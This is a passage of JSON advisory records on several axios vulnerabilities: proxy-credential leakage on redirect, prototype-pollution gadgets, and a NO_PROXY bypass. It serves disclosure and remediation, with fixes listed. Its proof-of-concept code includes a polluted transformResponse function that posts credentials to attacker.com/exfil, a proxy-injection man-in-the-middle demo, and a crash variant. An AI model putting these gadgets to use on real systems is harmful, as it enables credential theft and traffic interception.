'http://user:pass@127.0.0.1:8080';\ndelete process.env.HTTPS_PROXY;\n\nawait axios.get('http://attacker.example/start');\n```\n\nAttacker-controlled HTTP endpoint:\n\n```http\nHTTP/1.1 302 Found\nLocation: https://attacker.example/final\n```\n\nExpected result on affected versions:\n\n```text\nhttps://attacker.example/final receives:\nProxy-Authorization: Basic dXNlcjpwYXNz\n```\n\nExpected result on fixed versions:\n\n```text\nhttps://attacker.example/final receives no Proxy-Authorization header\n```\n\n### Workarounds\n\nSet `maxRedirects: 0` and handle redirects manually.\n\nAvoid using authenticated proxy environment variables for requests to untrusted HTTP origins unless redirect behaviour is controlled.\n\nEnsure proxy environment variables are configured consistently across protocols so redirects do not unexpectedly change from proxied to direct connections.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Source\u003c/summary\u003e\n\n### Summary\nAxios' Node.js HTTP adapter can leak proxy credentials to a redirect target origin. When an initial request is sent through an authenticated HTTP proxy, Axios adds a `Proxy-Authorization` header. On redirect, Axios re-evaluates proxy settings, but if the redirected request no longer uses a proxy, the stale `Proxy-Authorization` header is not cleared. As a result, the redirect target can receive the proxy credential directly.\n\nThis issue affects the Node.js HTTP adapter and can be reproduced when the initial request uses `HTTP_PROXY` with authentication, redirects are enabled, and the redirected request is resolved to no proxy, such as when `HTTPS_PROXY` is unset or the redirect target is excluded by `NO_PROXY`.\n\n### Details\nIn the current implementation:\n\n- `setProxy()` adds `Proxy-Authorization` when a proxy with credentials is in use.\n- On redirects, Axios re-invokes `setProxy()` for the redirected request.\n- If the redirected URL re-evaluates to \"no proxy\", `setProxy()` does not clear the previously added `Proxy-Authorization` header.\n- The redirected request therefore reuses the stale header and sends it to the final origin.\n\nRelevant code locations:\n\n- `lib/adapters/http.js`\n- `setProxy()` adds `Proxy-Authorization`\n- redirect handling re-applies proxy logic through `beforeRedirects.proxy`\n- no cleanup is performed when the recomputed redirect request no longer uses a proxy\n\n### PoC\n1. The victim sends `GET http://\u003cattacker-site\u003e/start`\n2. The request goes through a local authenticated `corp proxy`\n3. The attacker-controlled HTTP endpoint returns `302 Location: https://\u003cattacker-site\u003e/final`\n4. The redirected HTTPS request no longer uses a proxy\n5. The attacker-controlled HTTPS endpoint receives the stale `Proxy-Authorization` header\n\nObserved output:\n\n```text\n[corp-proxy] Proxy-Authorization received: Basic dXNlcjpwYXNz\n[attacker-http] GET /start\n[attacker-https] GET /final\n[attacker-https] Proxy-Authorization received: Basic dXNlcjpwYXNz\nLeak reproduced: Proxy-Authorization was sent to the attacker HTTPS origin.\n```\n\nThis demonstrates that the proxy credential is exposed to the redirect target origin.\n\n### Impact\nExposes authenticated proxy credentials to an attacker-controlled origin.\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-04T14:15:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc","https://github.com/axios/axios/pull/10794","https://github.com/axios/axios/commit/afca61a070728e717203c2bc21e7b589b59b858b","https://github.com/axios/axios/releases/tag/v0.32.0","https://github.com/axios/axios/releases/tag/v1.16.0","https://nvd.nist.gov/vuln/detail/CVE-2026-44486","https://github.com/advisories/GHSA-j5f8-grm9-p9fc"],"source_kind":"github","identifiers":["GHSA-j5f8-grm9-p9fc","CVE-2026-44486"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-04T15:00:08.574Z","updated_at":"2026-09-30T09:02:59.491Z","epss_percentage":0.0076,"epss_percentile":0.53506,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNWY4LWdybTktcDlmY84ABYCl","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qNWY4LWdybTktcDlmY84ABYCl","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.32.0","vulnerable_version_range":"\u003c= 0.31.1"},{"first_patched_version":"1.16.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.16.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNWY4LWdybTktcDlmY84ABYCl/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zZzQzLTZnbWctNjZqd84ABXuw","url":"https://github.com/advisories/GHSA-3g43-6gmg-66jw","title":"axios Vulnerable to Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge","description":"## Summary\n\nAxios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted `Object.prototype.transformResponse`, affected Axios versions may treat that inherited value as request configuration or as an option validator.\n\nAxios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over `Object.prototype` before Axios creates a request.\n\n## Impact\nFor ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.\n\nIf the attacker can pollute `Object.prototype.transformResponse` with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and `auth`, and can change the response data returned to application code.\n\nThis function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.\n\n## Affected Functionality\nThe affected functionality is Axios request config processing and response transformation.\n\nAffected use requires all of the following:\n- An affected Axios version.\n- A polluted `Object.prototype` in the same process or browser context.\n- Pollution before Axios merges or validates the request config.\n- A polluted key relevant to Axios config, especially `transformResponse`.\n\nThis is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities.\n\n## Technical Details\nIn affected versions, `mergeConfig()` reads config values through normal property access. For config keys present in Axios defaults, including `transformResponse`, a missing own property on the request config can fall through to `Object.prototype`.\n\nIn the fully affected path, this means `Object.prototype.transformResponse` can replace Axios's default response transform. The selected transform is later executed by `transformData()` with the request config as `this`.\n\nSome later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in `validator.assertOptions()`. In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform.\n\nFixed versions use own-property checks and null-prototype config objects, so inherited `Object.prototype` values are not treated as Axios config or validator schema entries.\n\n## Proof of Concept of Attack\n```js\nimport http from 'http';\nimport axios from 'axios';\n\nconst seen = [];\n\nconst server = http.createServer((req, res) =\u003e {\n  res.setHeader('Content-Type', 'application/json');\n  res.end(JSON.stringify({ secret: 'response-secret' }));\n});\n\nawait new Promise(resolve =\u003e server.listen(0, '127.0.0.1', resolve));\n\nObject.prototype.transformResponse = function pollutedTransform(data, headers, status) {\n  if (headers \u0026\u0026 typeof status === 'number') {\n    seen.push({\n      url: this.url,\n      username: this.auth \u0026\u0026 this.auth.username,\n      password: this.auth \u0026\u0026 this.auth.password,\n      responseData: data\n    });\n\n    return { hijacked: true };\n  }\n\n  return true;\n};\n\ntry {\n  const { port } = server.address();\n\n  const response = await axios.get(`http://127.0.0.1:${port}/users`, {\n    auth: { username: 'svc-account', password: 'prod-secret-key-123' }\n  });\n\n  console.log(response.data); // { hijacked: true }\n  console.log(seen[0]);       // request config plus original response body\n} finally {\n  delete Object.prototype.transformResponse;\n\n  server.close();\n}\n```\n\nExpected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.\n\nExpected result on fixed versions: the polluted transform is ignored, and the original response is returned.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal source report\u003c/summary\u003e\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into **credential theft** and **response hijacking** across all Axios requests.\n\nThe `mergeConfig()` function reads config properties via standard property access (`config2[prop]`), which traverses the JavaScript prototype chain. When `Object.prototype.transformResponse` is polluted with a function, it **overrides the default JSON response parser** for every request. The injected function executes with `this = config`, exposing `auth.username`, `auth.password`, request URL, and all headers.\n\n**Severity:** High (CVSS 8.2)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/core/mergeConfig.js` (Config Merge) + `lib/core/transformData.js` (Transform Execution)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n\n## CVSS 3.1\n\n**Score: 9.4 (High)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Credential theft occurs within the same application process |\n| Confidentiality | High | `this.auth.password`, `this.url`, original response data all exfiltrated |\n| Integrity | Low | Response data is replaced with `true` — attacker **cannot** return arbitrary data due to `assertOptions` constraint (see below) |\n| Availability | High | Polluting with an array value causes `TypeError: validator is not a function` crash (DoS) on every request |\n\n### Relationship to GHSA-fvcv-3m26-pcqx\n\nThis vulnerability is in the same class as GHSA-fvcv-3m26-pcqx (\"Unrestricted Cloud Metadata Exfiltration via Header Injection Chain\"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit `mergeConfig`'s prototype chain traversal.\n\n| Factor | GHSA-fvcv-3m26-pcqx | This Vulnerability |\n|---|---|---|\n| Attack vector | PP → Header injection → Request smuggling | PP → Transform function override → Credential theft |\n| Fixed by 1.15.0 header sanitization? | Yes | **No — different code path** |\n| Affects | Requests using form-data package | **All requests** (transformResponse is in defaults) |\n| Impact | AWS IMDSv2 bypass, cloud compromise | Credential theft (auth, API keys), response hijacking, DoS |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), Axios will automatically pick up the polluted `transformResponse` property during its config merge.\n\nThe critical difference from GHSA-fvcv-3m26-pcqx: this vector was **NOT fixed** by the header sanitization patch in v1.15.0, because it does not use headers at all — it injects a function into the response processing pipeline.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\n\nImagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:\n\n```javascript\nObject.prototype.transformResponse = function(data, headers, status) {\n  // Steal credentials via this context (this = full request config)\n  if (this \u0026\u0026 this.url \u0026\u0026 typeof data === 'string') {\n    fetch('https://attacker.com/exfil', {\n      method: 'POST',\n      body: JSON.stringify({\n        url: this.url,\n        username: this.auth?.username,\n        password: this.auth?.password,\n        responseData: data,\n      })\n    });\n  }\n  return true;  // MUST return true to pass assertOptions validator check\n};\n```\n\n**Important constraint:** The polluted value must be a **function returning `true`**, not an array. If an array is used, `assertOptions()` at `validator.js:89-92` crashes with `TypeError: validator is not a function` (which is still a DoS vector). The function must return `true` because `validator.js:93` checks `result !== true`.\n\n### 2. The Gadget Trigger (Safe Code)\n\nThe application makes a completely safe, hardcoded request:\n\n```javascript\n// This looks safe to the developer\nconst response = await axios.get('https://api.internal/users', {\n  auth: { username: 'svc-account', password: 'prod-secret-key-123!' }\n});\n```\n\n### 3. The Execution\n\nAxios's `mergeConfig()` at `mergeConfig.js:99-103` iterates config keys:\n\n```javascript\nutils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) {\n  // 'transformResponse' is in config1 (defaults) → included in keys\n  const merge = mergeMap[prop];  // → defaultToConfig2\n  const configValue = merge(config1[prop], config2[prop], prop);\n  // config2['transformResponse'] traverses prototype → finds polluted function!\n});\n```\n\nThe polluted function then executes at `transformData.js:21`:\n\n```javascript\ndata = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n// fn = attacker's function, this = config (containing auth credentials)\n```\n\n### 4. The Impact\n\n```\nAttacker receives at https://attacker.com/exfil:\n\n{\n  \"url\": \"https://api.internal/users\",\n  \"username\": \"svc-account\",\n  \"password\": \"prod-secret-key-123!\",\n  \"responseData\": \"{\\\"users\\\":[{\\\"id\\\":1,\\\"role\\\":\\\"admin\\\"}]}\"\n}\n```\n\nThe response data seen by the application is `true` (the required return value), which will likely cause the application to malfunction but will not reveal the theft.\n\n### 5. DoS Variant\n\n```javascript\n// Array pollution crashes every request\nObject.prototype.transformResponse = [function(d) { return d; }];\n\nawait axios.get('https://any-url.com');\n// → TypeError: validator is not a function\n// Every request in the application crashes\n```\n\n## Verified PoC Output\n\n```\nStep 1 - Normal behavior (before pollution):  \n    Default transformResponse function name: \"transformResponse\"\n\nStep 2 - Polluting Object.prototype.transformResponse:  \n    Function replaced by attacker: true\n\nStep 3 - Simulating dispatchRequest transformResponse:  \n    Original server response: {\"secret_key\":\"sk-prod-a1b2c3d4\",\"internal_ip\":\"10.0.0.5\"}  \n    After malicious transform: true  \n    Response tampered: true\n\nStep 4 - Exfiltrated data:  \n    Original response data: {\"secret_key\":\"sk-prod-a1b2c3d4\",\"internal_ip\":\"10.0.0.5\"}  \n    Request URL: https://internal-api.corp/secrets  \n    Authentication info: {\"username\":\"admin\",\"password\":\"P@ssw0rd123!\"}\n```\n\n## Impact Analysis\n\n- **Credential Theft:** `this.auth.username`, `this.auth.password`, `this.headers.Authorization`, and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server.\n- **Response Data Exfiltration:** The original server response (`data` parameter) is available to the injected function before being replaced.\n- **Universal Scope:** Affects **every** axios request in the application, including all third-party libraries that use axios.\n- **Denial of Service:** Polluting with a non-function value crashes every request.\n- **Bypass of 1.15.0 Fix:** The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector.\n\n### Limitations (Honest Assessment)\n\n- Requires a separate prototype pollution vulnerability elsewhere in the dependency tree\n- Response data cannot be arbitrarily tampered — the function must return `true` to pass `assertOptions`\n- This is in-process JavaScript function execution, not OS-level RCE\n\n## Recommended Fix\n\nUse `hasOwnProperty` checks in `defaultToConfig2` to prevent prototype chain traversal:\n\n```javascript\n// In lib/core/mergeConfig.js\nfunction defaultToConfig2(a, b, prop) {\n  if (Object.prototype.hasOwnProperty.call(config2, prop) \u0026\u0026 !utils.isUndefined(b)) {\n    return getMergedValue(undefined, b);\n  } else if (!utils.isUndefined(a)) {\n    return getMergedValue(undefined, a);\n  }\n}\n```\n\nAdditionally, validate that `transformResponse` contains only functions before execution:\n\n```javascript\n// In lib/core/transformData.js\nutils.forEach(fns, function transform(fn) {\n  if (typeof fn !== 'function') {\n    throw new AxiosError('Transform must be a function', AxiosError.ERR_BAD_OPTION);\n  }\n  data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n});\n```\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n- [Snyk: Prototype Pollution](https://learn.snyk.io/lesson/prototype-pollution/)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-15 | Initial PoC developed (array payload — crashes at validator.js) |\n| 2026-04-16 | PoC corrected (function payload returning true — works) |\n| 2026-04-16 | Report revised with accurate constraints |\n| TBD | Report submitted to vendor via GitHub Security Advisory |\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-29T16:07:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.0,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L","references":["https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw","https://nvd.nist.gov/vuln/detail/CVE-2026-44495","https://github.com/advisories/GHSA-3g43-6gmg-66jw"],"source_kind":"github","identifiers":["GHSA-3g43-6gmg-66jw","CVE-2026-44495"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-29T17:00:08.931Z","updated_at":"2026-09-28T20:03:02.246Z","epss_percentage":0.01041,"epss_percentile":0.62526,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZzQzLTZnbWctNjZqd84ABXuw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zZzQzLTZnbWctNjZqd84ABXuw","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.1","vulnerable_version_range":"\u003e= 0.19.0, \u003c 0.31.1"},{"first_patched_version":"1.15.2","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.2"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZzQzLTZnbWctNjZqd84ABXuw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zNWpwLXd3NjUtOTV3aM4ABXuv","url":"https://github.com/advisories/GHSA-35jp-ww65-95wh","title":"axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`","description":"# Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into a **full Man-in-the-Middle (MITM) attack** — intercepting, reading, and modifying all HTTP traffic including authentication credentials.\n\nThe HTTP adapter at `lib/adapters/http.js:670` reads `config.proxy` via standard property access, which traverses the prototype chain. Because `proxy` is **not present in Axios defaults**, the merged config object has no own `proxy` property, making it trivially injectable via prototype pollution. Once injected, `setProxy()` routes **all** HTTP requests through the attacker's proxy server.\n\nUnlike the `transformResponse` gadget (which is constrained by `assertOptions` to return `true`), the proxy gadget has **zero constraints** — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.\n\n**Severity:** Critical (CVSS 9.4)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/adapters/http.js` (config property access on merged object)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n- **CWE-441:** Unintended Proxy or Intermediary ('Confused Deputy')\n\n## CVSS 3.1\n\n**Score: 9.4 (Critical)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment: `Object.prototype.proxy = {host:'attacker', port:8080}`. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | MITM within the application's network context |\n| Confidentiality | **High** | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) |\n| Integrity | **High** | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. **No constraints** — unlike `transformResponse` which must return `true` |\n| Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |\n\n\n### Why This Bypasses mergeConfig\n\nThe critical difference from `transformResponse`: the `proxy` property is **not in defaults** (`lib/defaults/index.js` does not set `proxy`). This means:\n\n1. `mergeConfig` iterates `Object.keys({...defaults, ...userConfig})` — `proxy` is NOT in this set\n2. `defaultToConfig2` for `proxy` is never called\n3. The merged config has **no own `proxy` property**\n4. When `http.js:670` reads `config.proxy`, JavaScript traverses the prototype chain\n5. `Object.prototype.proxy` is found → used by `setProxy()`\n\nThis is a **more direct attack path** than `transformResponse` because it doesn't even go through `mergeConfig`'s merge logic — it completely bypasses it.\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), Axios will automatically use the polluted `proxy` value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\n\nImagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:\n\n```javascript\nObject.prototype.proxy = {\n  host: 'attacker.com',\n  port: 8080,\n  protocol: 'http',\n};\n```\n\n### 2. The Gadget Trigger (Safe Code)\n\nThe application makes a completely safe, hardcoded request:\n\n```javascript\n// This looks safe to the developer — no proxy configured\nconst response = await axios.get('https://api.internal.corp/secrets', {\n  auth: { username: 'svc-account', password: 'prod-key-abc123!' }\n});\n```\n\n### 3. The Execution\n\nAt `http.js:668-670`:\n```javascript\nsetProxy(\n  options,\n  config.proxy,    // ← traverses prototype chain → finds polluted proxy\n  protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path\n);\n```\n\n`setProxy()` at `http.js:191-239` then:\n```javascript\nfunction setProxy(options, configProxy, location) {\n  let proxy = configProxy;    // = { host: 'attacker.com', port: 8080 }\n  // ...\n  if (proxy) {\n    options.hostname = proxy.hostname || proxy.host;  // → 'attacker.com'\n    options.port = proxy.port;                         // → 8080\n    options.path = location;                           // → full URL as path\n    // ...\n  }\n}\n```\n\n### 4. The Impact (Full MITM)\n\nThe attacker's proxy server receives:\n\n```http\nGET http://api.internal.corp/secrets HTTP/1.1\nHost: api.internal.corp\nAuthorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ==\nUser-Agent: axios/1.15.0\nAccept: application/json, text/plain, */*\n```\n\nThe `Authorization` header contains `svc-account:prod-key-abc123!` in Base64. The attacker:\n- **Sees** every request URL, header, and body\n- **Modifies** every response (inject malicious data, change auth results)\n- **Logs** all API keys, session tokens, and passwords\n- Operates as an **invisible** proxy — the developer has no indication\n\n### 5. Verified PoC Code\n\n```javascript\nimport http from 'http';\nimport axios from './index.js';\n\n// Attacker's proxy server\nconst intercepted = [];\nconst proxyServer = http.createServer((req, res) =\u003e {\n  intercepted.push({\n    url: req.url,\n    authorization: req.headers.authorization,\n    headers: req.headers,\n  });\n  res.writeHead(200, { 'Content-Type': 'application/json' });\n  res.end('{\"hijacked\":true}');\n});\nawait new Promise(r =\u003e proxyServer.listen(0, r));\nconst proxyPort = proxyServer.address().port;\n\n// Real target server\nconst realServer = http.createServer((req, res) =\u003e {\n  res.writeHead(200);\n  res.end('{\"data\":\"real\"}');\n});\nawait new Promise(r =\u003e realServer.listen(0, r));\nconst realPort = realServer.address().port;\n\n// Prototype pollution\nObject.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };\n\n// \"Safe\" request — goes through attacker's proxy\nconst resp = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, {\n  auth: { username: 'admin', password: 'SuperSecret123!' }\n});\n\nconsole.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server');\nconsole.log('Intercepted Authorization:', intercepted[0]?.authorization);\n// Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)\n\ndelete Object.prototype.proxy;\nrealServer.close();\nproxyServer.close();\n```\n\n## Verified PoC Output\n\n```\n[1] Normal request (before pollution):\n    Response source: real server\n    response.data: {\"data\":\"from-real-server\"}\n    Proxy intercept count: 0\n\n[2] Prototype Pollution: Object.prototype.proxy\n    Set: Object.prototype.proxy = { host: \"127.0.0.1\", port: 50879 }\n\n[3] Request after pollution (same code, same URL):\n    Response source: ATTACKER PROXY!\n    response.data: {\"data\":\"from-attacker-proxy\",\"hijacked\":true}\n\n[4] Data intercepted by attacker's proxy:\n    Full URL: http://127.0.0.1:50878/api/secrets\n    Host: 127.0.0.1:50878\n    Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh\n    All headers: {\n      \"accept\": \"application/json, text/plain, */*\",\n      \"user-agent\": \"axios/1.15.0\",\n      \"accept-encoding\": \"gzip, compress, deflate, br\",\n      \"host\": \"127.0.0.1:50878\",\n      \"authorization\": \"Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh\",\n      \"connection\": \"keep-alive\"\n    }\n\n[5] Attacker capabilities demonstrated:\n    ✓ Full URL visible (including internal hostnames)\n    ✓ Authorization header visible (Base64-encoded credentials)\n    ✓ Can modify/forge response data\n    ✓ Affects ALL axios HTTP requests (not just a single instance)\n    ✓ No assertOptions constraints (unlike transformResponse gadget)\n```\n\n## Impact Analysis\n\n- **Full Credential Interception:** Every HTTP request's `Authorization` header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext.\n- **Arbitrary Response Tampering:** The attacker can return any response data — no constraints like `transformResponse`'s \"must return true\".\n- **Internal Network Reconnaissance:** The proxy sees all request URLs, revealing internal hostnames, ports, and API paths.\n- **Universal Scope:** Affects every axios HTTP request in the application, including all third-party libraries that use axios.\n- **Invisible Attack:** The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses.\n- **Bypass of 1.15.0 Fix:** The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.\n\n### Why This Is More Severe Than transformResponse (axios_26)\n\n| Dimension | transformResponse Gadget | **proxy Gadget** |\n|---|---|---|\n| Data access | `this.auth` + response data | **All headers, auth, body, URL, response** |\n| Response control | Must return `true` | **Arbitrary responses** |\n| Attack visibility | Response becomes `true` (suspicious) | **Normal-looking responses (invisible)** |\n| mergeConfig involvement | Goes through defaultToConfig2 | **Bypasses mergeConfig entirely** |\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` when reading security-sensitive config properties\n\n```javascript\n// In lib/adapters/http.js\nconst proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined;\nsetProxy(options, proxy, location);\n```\n\n### Fix 2: Enumerate all properties not in defaults and apply `hasOwnProperty`\n\nProperties not in defaults that are read by http.js and have security impact:\n- `config.proxy` — MITM\n- `config.socketPath` — Unix socket SSRF\n- `config.transport` — request hijack\n- `config.lookup` — DNS hijack\n- `config.beforeRedirect` — redirect manipulation\n- `config.httpAgent` / `config.httpsAgent` — agent injection\n\nAll should use `hasOwnProperty` checks.\n\n### Fix 3: Use null-prototype object for merged config\n\n```javascript\n// In lib/core/mergeConfig.js\nconst config = Object.create(null);\n```\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [CWE-441: Unintended Proxy](https://cwe.mitre.org/data/definitions/441.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-16 | Vulnerability discovered during source code audit |\n| 2026-04-16 | PoC developed and verified — full MITM confirmed |\n| TBD | Report submitted to vendor via GitHub Security Advisory |","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-29T16:04:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh","https://github.com/advisories/GHSA-fvcv-3m26-pcqx","https://nvd.nist.gov/vuln/detail/CVE-2026-44494","https://github.com/advisories/GHSA-35jp-ww65-95wh"],"source_kind":"github","identifiers":["GHSA-35jp-ww65-95wh","CVE-2026-44494"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-29T17:00:08.931Z","updated_at":"2026-09-25T12:03:21.742Z","epss_percentage":0.00932,"epss_percentile":0.58995,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNWpwLXd3NjUtOTV3aM4ABXuv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zNWpwLXd3NjUtOTV3aM4ABXuv","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.16.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.16.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNWpwLXd3NjUtOTV3aM4ABXuv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wandtLXBqM3AtNDNtds4ABXuu","url":"https://github.com/advisories/GHSA-pjwm-pj3p-43mv","title":"axios's shouldBypassProxy does not recognize IPv4-mapped IPv6 addresses, allowing NO_PROXY bypass (incomplete fix for CVE-2025-62718)","description":"### Summary\nshouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NO_PROXY lists an IPv4 address such as `127.0.0.1` or `169.254.169.254`, a request URL using the IPv4-mapped IPv6 form (`::ffff:7f00:1`, `::ffff:a9fe:a9fe`) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked.\n\n### Details\nlib/helpers/shouldBypassProxy.js (v1.15.0):                                                                                                                                   \n\n```javascript                                                                                                                                                                              \n  const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);                                                                                                      \n  const isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);                                                                                                                    \n                                                                                                                                                                                \n  // normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix                                                                                             \n  return hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));                                                                                             \n```\n                                                                                                                                                                                \nThe WHATWG URL 